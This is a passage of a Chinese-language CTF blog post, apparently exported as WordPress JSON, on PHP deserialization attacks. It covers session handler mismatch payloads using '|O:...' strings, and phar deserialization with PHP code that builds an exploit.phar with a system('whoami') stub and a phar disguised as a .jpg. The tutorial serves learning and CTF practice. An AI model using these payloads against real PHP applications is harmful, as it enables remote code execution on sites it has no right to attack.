\u5f53\u653b\u51fb\u8005\u80fd\u591f\u63a7\u5236 Session \u4e2d\u7684\u4e00\u90e8\u5206\u5185\u5bb9\uff0c\u5e76\u6784\u9020\u7279\u6b8a\u7684\u5b57\u7b26\uff08\u4e3b\u8981\u662f\u7ad6\u7ebf |<\/code>\uff09\uff0c\u5c31\u53ef\u4ee5\u5229\u7528\u5f15\u64ce\u89e3\u6790\u683c\u5f0f\u7684\u5dee\u5f02\uff0c\u6b3a\u9a97PHP\u5c06\u6211\u4eec\u6784\u9020\u7684\u5b57\u7b26\u4e32\u8bc6\u522b\u4e3a\u5bf9\u8c61\u5e76\u8fdb\u884c\u53cd\u5e8f\u5217\u5316\u3002<\/p>\n\n\n\n
PHP \u7684\u4e09\u79cd Session \u5e8f\u5217\u5316\u5f15\u64ce<\/h4>\n\n\n\n
\u5904\u7406\u5668\u540d\u79f0<\/strong><\/td>\u5b58\u50a8\u683c\u5f0f\u793a\u4f8b (\u952e\u540d\u4e3a user, \u952e\u503c\u4e3a Phantom)<\/strong><\/td>\u7279\u6027\u63cf\u8ff0<\/strong><\/td><\/tr>
php<\/strong><\/td>user<\/td>s:7:”Phantom”;<\/td><\/tr>
php_serialize<\/strong><\/td>a:1:{s:4:\"user\";s:7:\"Phantom\";}<\/code><\/td>PHP 5.5.4+ \u5f15\u5165\u3002\u6807\u51c6\u7684 serialize()<\/code> \u683c\u5f0f\uff0c\u4e0d<\/strong>\u4f7f\u7528<\/td><\/tr>
php_binary<\/strong><\/td>\\x04user...<\/code><\/td>\u952e\u540d\u7684\u957f\u5ea6\u5bf9\u5e94\u7684 ASCII \u5b57\u7b26 + \u952e\u540d + \u5e8f\u5217\u5316\u503c\u3002\uff08\u5229\u7528\u8f83\u5c11\uff09<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n
\u5982\u679c\u662f php_serialize<\/code> \u5199\u5165\uff0c\u4f46\u7528 php<\/code> \u5f15\u64ce\u8bfb\u53d6\uff0cphp<\/code> \u5f15\u64ce\u4f1a\u628a\u5185\u5bb9\u4e2d\u7684 |<\/code> \u5f53\u4f5c\u952e\u503c\u5206\u9694\u7b26\u3002<\/p>\n\n\n\n
\u7b80\u5355\u603b\u7ed3\u6765\u8bf4<\/p>\n\n\n\n
\u653b\u51fb\u573a\u666f<\/strong><\/td>\u6838\u5fc3\u524d\u7f6e\u6761\u4ef6<\/strong><\/td>Payload \u539f\u59cb\u683c\u5f0f (Raw String)<\/strong><\/td>\u6ce8\u5165\u4f4d\u7f6e<\/strong><\/td><\/tr>
\u5f15\u64ce\u914d\u7f6e\u4e0d\u4e00\u81f4<\/strong>

(Handler Mismatch)<\/td>		\u5b58\u50a8<\/strong>: php_serialize<\/code>

\u8bfb\u53d6<\/strong>: php<\/code>

\u53d8\u91cf<\/strong>: \u53ef\u63a7<\/td>		|O:7:\"User\":1:{...}<\/code><\/td>$_GET<\/code> \/ $_POST<\/code> \u53d8\u91cf

(\u8d4b\u503c\u7ed9 $_SESSION<\/code>)<\/td><\/tr>
Upload Progress<\/strong>

(\u7ade\u4e89\u6761\u4ef6)<\/td>		\u914d\u7f6e<\/strong>: enabled=On<\/code>

\u8bfb\u53d6<\/strong>: php<\/code>

\u53d8\u91cf<\/strong>: \u65e0\u9700\u53ef\u63a7<\/td>		|O:7:\"User\":1:{...}<\/code><\/td>POST \u8bf7\u6c42\u4f53\u4e2d\u7684

PHP_SESSION_UPLOAD_PROGRESS<\/code> \u503c<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n
\u4f8b\u9898<\/strong><\/h4>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u901a\u8fc7index\u5f97\u77e5\uff0c\u60f3\u8981\u8f93\u51faflag\u9700\u8981\u6ee1\u8db3name\u548cher\u7684\u503c\u76f8\u7b49\u7684\u6761\u4ef6<\/p>\n\n\n\n
\u53ef\u4ee5\u7528\u524d\u9762\u63d0\u5230\u7684php\u5f15\u7528\u6765\u5b9e\u73b0\u8fd9\u4e2a\u6761\u4ef6<\/p>\n\n\n\n
\u6211\u4eec\u628a\u5f97\u5230\u7684payload\u4f7f\u7528|\u6765\u5206\u9694<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
phar\u53cd\u5e8f\u5217\u5316<\/h3>\n\n\n\n
\u7b80\u4ecb<\/h4>\n\n\n\n
Phar\u53cd\u5e8f\u5217\u5316\u4e0d\u4f9d\u8d56unserialize()\u51fd\u6570\u8fdb\u884c\u53cd\u5e8f\u5217\u5316\u3002\u800c\u662f\u6784\u9020phar\u6587\u4ef6\uff0c\u4ee5\u5e8f\u5217\u5316\u7684\u5f62\u5f0f\u5b58\u50a8\u7528\u6237\u81ea\u5b9a\u4e49\u7684meta-data\u8fd9\u4e00\u7279\u6027\uff0cphar_parse_metadata<\/code>\u5728\u89e3\u6790meta\u6570\u636e\u65f6\uff0c\u4f1a\u8c03\u7528php_var_unserialize<\/code>\u8fdb\u884c\u53cd\u5e8f\u5217\u5316\u64cd\u4f5c\u3002\u5177\u4f53\u89e3\u6790\u4ee3\u7801\u3002\u8be5\u65b9\u6cd5\u9700\u8981\u5728\u6587\u4ef6\u7cfb\u7edf\u51fd\u6570\uff08file_exits()\u3001is_dir()\u7b49\uff09\u53c2\u6570\u53ef\u63a7\u7684\u60c5\u51b5\u4e0b\uff0c\u914d\u5408phar:\/\/\u4f2a\u534f\u8bae\u76f4\u63a5\u8fdb\u884c\u53cd\u5e8f\u5217\u5316\u3002\u5373\u672c\u5730\u6784\u9020phar\u6587\u4ef6\u628a\u6076\u610f\u4ee3\u7801\u672c\u5730\u5e8f\u5217\u5316\u597d\uff0c\u518d\u901a\u8fc7\u6587\u4ef6\u4e0a\u4f20\u529f\u80fd\u70b9\u4e0a\u4f20phar\u6587\u4ef6\u81f3\u76ee\u6807\u7f51\u7ad9\uff0c\u6700\u540e\u7528phar\u534f\u8bae\u914d\u5408\u6587\u4ef6\u7cfb\u7edf\u51fd\u6570\u53cd\u5e8f\u5217\u5316phar\u6587\u4ef6\uff0c\u8fbe\u5230\u9884\u671f\u76ee\u7684\u3002<\/strong><\/p>\n\n\n\n
phar\u6587\u4ef6<\/strong><\/h4>\n\n\n\n
phar<\/strong>\u6587\u4ef6\u662f\u4e00\u79cd\u6253\u5305\u5f62\u5f0f\uff0c\u628aphp\u4ee3\u7801\u548c\u5176\u4ed6\u8d44\u6e90\uff08\u56fe\u50cf\u3001\u8868\u7b49\uff09\u6346\u7ed1\u5230\u4e00\u4e2a\u5f52\u6863\u6587\u4ef6\u4e2d\u6765\u5b9e\u73b0\u5e94\u7528\u7a0b\u5e8f\u548c\u5e93\u7684\u5f00\u53d1\uff0c\u8ddfjar\u6587\u4ef6\u5dee\u4e0d\u591a\u3002\u672c\u8d28\u4e0a\u662f\u4e00\u4e2a\u538b\u7f29\u6587\u4ef6\uff0c\u4f1a\u8bae\u5e8f\u5217\u5316\u7684\u5f62\u5f0f\u5b58\u50a8\u7528\u6237\u5728\u81ea\u5b9a\u4e49\u7684meta-data<\/strong>\u5185\u7684\u5185\u5bb9<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6587\u4ef6\u7ed3\u6784<\/h4>\n\n\n\n
stub:phar\u6587\u4ef6\u7684\u6807\u5fd7\uff0c\u5fc5\u987b\u4ee5 xxx __HALT_COMPILER();?> \u7ed3\u5c3e\uff0c\u5426\u5219\u65e0\u6cd5\u8bc6\u522b\u3002xxx\u53ef\u4ee5\u4e3a\u81ea\u5b9a\u4e49\u5185\u5bb9\u3002\n\/\/\u7b80\u5355\u5730\u8bf4\u5c31\u662f\u544a\u8bc9\u7cfb\u7edf\u81ea\u5df1\u662f\u4e00\u4e2a\u4ec0\u4e48\u6837\u7684\u6587\u4ef6,\u58f0\u660e\u6587\u4ef6\u540e\u7f00\n\nmanifest:phar\u6587\u4ef6\u672c\u8d28\u4e0a\u662f\u4e00\u79cd\u538b\u7f29\u6587\u4ef6\uff0c\u5176\u4e2d\u6bcf\u4e2a\u88ab\u538b\u7f29\u6587\u4ef6\u7684\u6743\u9650\u3001\u5c5e\u6027\u7b49\u4fe1\u606f\u90fd\u653e\u5728\u8fd9\u90e8\u5206\u3002\u8fd9\u90e8\u5206\u8fd8\u4f1a\u4ee5\u5e8f\u5217\u5316\u7684\u5f62\u5f0f\u5b58\u50a8\u7528\u6237\u81ea\u5b9a\u4e49\u7684meta-data\uff0c\u8fd9\u662f\u6f0f\u6d1e\u5229\u7528\u6700\u6838\u5fc3\u7684\u5730\u65b9\u3002\n\/\/\u5b58\u653e\u5e8f\u5217\u5316\u7684\u5185\u5bb9\n\ncontent:\u88ab\u538b\u7f29\u6587\u4ef6\u7684\u5185\u5bb9\n\nsignature (\u53ef\u7a7a):\u7b7e\u540d\uff0c\u653e\u5728\u672b\u5c3e\u3002<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u751f\u6210phar\u6587\u4ef6<\/h4>\n\n\n\n
<?php\n$phar = new Phar('exploit.phar');\n$phar->startBuffering();\n\n$stub = <<<'STUB'\n<?php\n    system('whoami');\n    __HALT_COMPILER();\n?>\nSTUB;\n\n$phar->setStub($stub);\n$phar->addFromString('test.txt', 'test');\n$phar->stopBuffering();\n\n?><\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
php\u7279\u6027<\/h4>\n\n\n\n
\u8be6\u7ec6\u539f\u7406\u89c1<\/p>\n\n\n\n
https:\/\/fushuling.com\/index.php\/2025\/07\/30\/%E5%BD%93include%E9%82%82%E9%80%85phar-deadsecctf2025-baby-web<\/a><\/p>\n\n\n\n
\u5f53\u6211\u4eecinclude phar\u6587\u4ef6\u65f6\uff0cphp\u4f1a\u81ea\u52a8\u89e3\u538b\u8fd9\u4e2a\u538b\u7f29\u6587\u4ef6\uff0c\u6240\u4ee5\u6700\u540e\u76f8\u5f53\u4e8e\u662f\u76f4\u63a5include\u8fd9\u4e2aphar\u6587\u4ef6<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6211\u4eec\u5b8c\u5168\u4e0d\u9700\u8981\u4fdd\u8bc1\u6700\u540einclude\u7684\u662f\u4e00\u4e2axxx.phar.gzip\u6587\u4ef6\uff0c\u53ea\u8981\u6587\u4ef6\u540d\u91cc\u6709.phar\u5373\u53ef\uff0c\u6240\u4ee5\u8bf4\u65e0\u8bba\u6211\u4eec\u662finclude 1.phar.png\u8fd8\u662f1.phar.html\u5747\u53ef\u4ee5\u6b63\u5e38rce<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u751a\u81f3\u53ea\u8981\u5305\u542b\u7684\u8def\u5f84\u91cc\u5e26\u4e86.phar\u8fd9\u51e0\u4e2a\u5b57\u5c31\u80fd\u89e3\u6790 \u54ea\u6015\u662f\u76ee\u5f55\u4e5f\u884c<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
Phar\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u539f\u7406<\/h4>\n\n\n\n
manifest<\/code>\u538b\u7f29\u6587\u4ef6\u7684\u5c5e\u6027\u7b49\u4fe1\u606f\uff0c\u4ee5\u5e8f\u5217\u5316\u5b58\u50a8\uff0c\u5b58\u5728\u4e00\u6bb5\u5e8f\u5217\u5316\u7684\u5b57\u7b26\u4e32<\/p>\n\n\n\n
\u8c03\u7528phar<\/code>\u4f2a\u534f\u8bae\uff0c\u53ef\u8bfb\u53d6.phar<\/code>\u6587\u4ef6<\/p>\n\n\n\n
phar<\/code>\u534f\u8bae\u89e3\u6790\u6587\u4ef6\u65f6\uff0c\u4f1a\u81ea\u52a8\u89e6\u53d1\u5bf9manifest<\/code>\u5b57\u6bb5\u7684\u5e8f\u5217\u5316\u5b57\u7b26\u4e32\u8fdb\u884c\u53cd\u5e8f\u5217\u5316<\/p>\n\n\n\n
phar<\/code>\u9700\u8981\u6ee1\u8db3 PHP >= 5.2\uff0c\u5728php.ini<\/code>\u4e2d\u5c06phar.readonly<\/code>\u8bbe\u4e3aOff<\/code><\/p>\n\n\n\n
\u4ee5\u4e0b\u662f\u8fd9\u4e2a\u6f0f\u6d1e\u53d7\u5230\u5f71\u54cd\u7684\u51fd\u6570\uff08\u5373\u53ef\u4ee5\u4f7f\u7528phar<\/code>\u4f2a\u534f\u8bae\u8bfb\u53d6.phar<\/code>\u6587\u4ef6\u7684\u51fd\u6570\uff09<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4f8b\u9898<\/h5>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fd9\u9053\u9898md5_file()\u51fd\u6570\u914d\u5408phar:\/\/\u4f2a\u534f\u8bae\u53ef\u4ee5\u89e6\u53d1\u53cd\u5e8f\u5217\u5316<\/p>\n\n\n\n
\u5e76\u4e14upload.php\u53ef\u4ee5\u4e0a\u4f20\u56fe\u7247\u6587\u4ef6<\/p>\n\n\n\n
\u8fd9\u4e2a\u65f6\u5019\u53ef\u4ee5\u5229\u7528\u4e4b\u524d\u63d0\u8fc7\u7684php\u7279\u6027<\/p>\n\n\n\n
\u5c06.phar\u6587\u4ef6\u91cd\u547d\u540d\u4e3a.jpg \u4f7f\u7528phar:\/\/\u534f\u8bae\u65f6\u4ecd\u4f1a\u8bc6\u522b\u4e3aphar\u6587\u4ef6<\/p>\n\n\n\n
<?php\nclass TestObject {\n}\n$phar = new Phar('exploit.phar.jpg');\n$phar->startBuffering();\n$phar->setStub('<?php __HALT_COMPILER(); ?>');\n$obj = new TestObject();\n$phar->setMetadata($obj);\n$phar->addFromString('test.txt', 'text');\n$phar->stopBuffering();\n?><\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
<\/p>\n","protected":false},"excerpt":{"rendered":"
\u7c7b\u4e0e\u5bf9\u8c61 php\u9762\u5411\u5bf9\u8c61\u5f00\u53d1\u7684\u5185\u5bb9 \u7c7b \u2212 \u5b9a\u4e49\u4e86\u4e00\u4ef6\u4e8b\u7269\u7684\u62bd\u8c61\u7279\u70b9\u3002\u7c7b\u7684\u5b9a\u4e49\u5305\u542b\u4e86\u6570\u636e\u7684\u5f62\u5f0f\u4ee5\u53ca\u5bf9\u6570\u636e\u7684\u64cd\u4f5c […]<\/p>\n","protected":false},"author":1,"featured_media":133,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[3],"tags":[9,5],"class_list":["post-67","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ctf","tag-php","tag-5"],"jetpack_featured_media_url":"https:\/\/zhihao.org.cn\/wp-content\/uploads\/2026\/01\/36eac309685be1c9a7ef882be99d663f7c9fe353.webp","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=\/wp\/v2\/posts\/67","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=67"}],"version-history":[{"count":1,"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=\/wp\/v2\/posts\/67\/revisions"}],"predecessor-version":[{"id":137,"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=\/wp\/v2\/posts\/67\/revisions\/137"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=\/wp\/v2\/media\/133"}],"wp:attachment":[{"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=67"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=67"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zhihao.org.cn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=67"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}